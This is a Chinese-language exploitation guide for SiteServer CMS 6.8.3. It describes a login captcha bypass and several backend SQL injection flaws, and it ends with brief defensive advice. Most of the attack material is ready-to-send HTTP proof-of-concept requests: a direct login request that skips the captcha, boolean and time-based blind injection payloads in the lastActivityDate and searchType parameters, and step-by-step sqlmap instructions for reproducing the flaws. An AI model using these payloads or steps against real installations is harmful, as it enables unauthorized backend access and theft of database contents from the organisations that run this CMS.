某Server CMS最新6.8.3版本验证码绕过&后台多处注入
字数 1496 2025-08-29 08:31:48
SiteServer CMS 6.8.3 漏洞分析与利用指南
漏洞概述
SiteServer CMS 是由北京百容千域软件技术开发有限公司开发的一款网站内容管理系统,广泛应用于政府、教育等机构。本文档详细分析该系统的两个关键漏洞:
- 后台登录验证码绕过漏洞
- 后台多处SQL注入漏洞
1. 后台登录验证码绕过漏洞
漏洞描述
系统在验证登录时,验证码验证和账号密码验证是分开进行的,且两个请求之间没有关联性,导致攻击者可以直接发送账号密码验证请求而绕过验证码验证。
漏洞原理
- 验证流程设计缺陷:验证码验证和账号验证分离
- 无会话关联:两个验证请求之间没有建立关联机制
- 无二次验证:通过账号验证后不再检查验证码状态
漏洞利用方法
POC请求:
POST /api/v1/administrators/actions/login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/SiteServer/pageLogin.cshtml
Content-Type: application/json;charset=utf-8
Content-Length: 84
Connection: keep-alive
{"account":"admin","password":"7fef6171469e80d32c0559f88b377245","isAutoLogin":true}
关键点:
- password字段为简单的MD5加密
- 直接发送此POST请求即可绕过验证码验证
- 无需先请求或验证验证码
防御建议
- 将验证码验证与账号验证绑定在同一会话中
- 在账号验证前强制验证验证码
- 增加验证码令牌机制
2. 后台多处SQL注入漏洞
漏洞1:POST字段注入
漏洞位置: /SiteServer/settings/pageLogError.aspx
漏洞描述: 在POST请求的多个字段中存在SQL注入漏洞
POC请求:
POST /SiteServer/settings/pageLogError.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/SiteServer/main.cshtml?siteId=1
Connection: keep-alive
[详细Cookie头...]
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 14041
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
1'"&DdlCategory=api&DdlPluginId=1&IDCollection=36550&TbDateFrom=01/01/1967&TbDateTo=01/01/1967&TbKeyword=1&__EVENTARGUMENT=1&__EVENTTARGET=1&__LASTFOCUS=1&__VIEWSTATE=[...长VIEWSTATE数据...]&__VIEWSTATEGENERATOR=07C334A0
注入点:
- 在POST数据起始处插入
1'"可触发SQL错误 - 多个参数可能存在注入
利用方法:
- 使用浏览器访问目标页面
- 拦截正常请求
- 在POST数据中插入注入payload
- 使用sqlmap进行自动化测试:
sqlmap -r inject.txt
漏洞2:lastActivityDate参数注入
漏洞位置: /SiteServer/settings/pageAdministrator.aspx
漏洞描述: lastActivityDate参数存在基于时间的盲注
POC请求:
GET /SiteServer/settings/pageAdministrator.aspx?areaId=0&departmentId=0&keyword=1&lastActivityDate=3&order=1%2C(select%20case%20when%20(3*2*1=6%20AND%2000043=00043)%20then%201%20else%201*(select%20table_name%20from%20information_schema.tables)end)=1&pageNum=50&roleName= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/SiteServer/main.cshtml?siteId=1
[详细Cookie头...]
注入特征:
- 使用条件语句进行盲注测试
- 通过
case when构造布尔条件 - 错误条件会尝试查询
information_schema.tables导致错误
漏洞3:searchType参数注入
漏洞位置: /SiteServer/settings/pageUser.aspx
漏洞描述: searchType参数存在基于时间的盲注
POC请求:
GET /SiteServer/settings/pageUser.aspx?creationDate=0&groupId=-1&keyword=&lastActivityDate=0&loginCount=0&pageNum=0&searchType=if(now()=sysdate()%2Csleep(0)%2C0) HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/SiteServer/main.cshtml?siteId=1
[详细Cookie头...]
注入特征:
- 使用MySQL的
if()和sleep()函数 - 基于时间的盲注测试
- 条件为真时立即返回,为假时执行sleep(0)
SQL注入漏洞利用建议
-
使用sqlmap自动化测试:
- 先访问目标页面获取正常请求
- 保存请求数据到文件(如inject.txt)
- 运行:
sqlmap -r inject.txt
-
手工测试方法:
- 识别可能存在注入的参数
- 尝试插入
'、"、1'"等字符观察响应 - 使用布尔条件测试盲注
-
防御建议:
- 使用参数化查询
- 实施严格的输入过滤
- 最小化数据库账户权限
- 启用WAF防护
漏洞复现步骤总结
-
验证码绕过复现:
- 直接发送提供的POC请求
- 观察是否能够不提供验证码而成功登录
-
SQL注入复现:
- 访问目标页面获取正常请求
- 修改请求参数插入注入payload
- 使用sqlmap或手工验证注入点
- 对于盲注,观察响应时间或内容差异
-
特别提醒:
- 复现SQL注入前需先访问POC中的地址获取会话
- 将完整请求保存为文件后再用sqlmap测试
结论
SiteServer CMS 6.8.3版本存在严重的安全漏洞,攻击者可利用验证码绕过漏洞轻易进入后台,再利用多处SQL注入漏洞获取数据库敏感信息。建议用户及时升级到最新版本或实施相应的安全防护措施。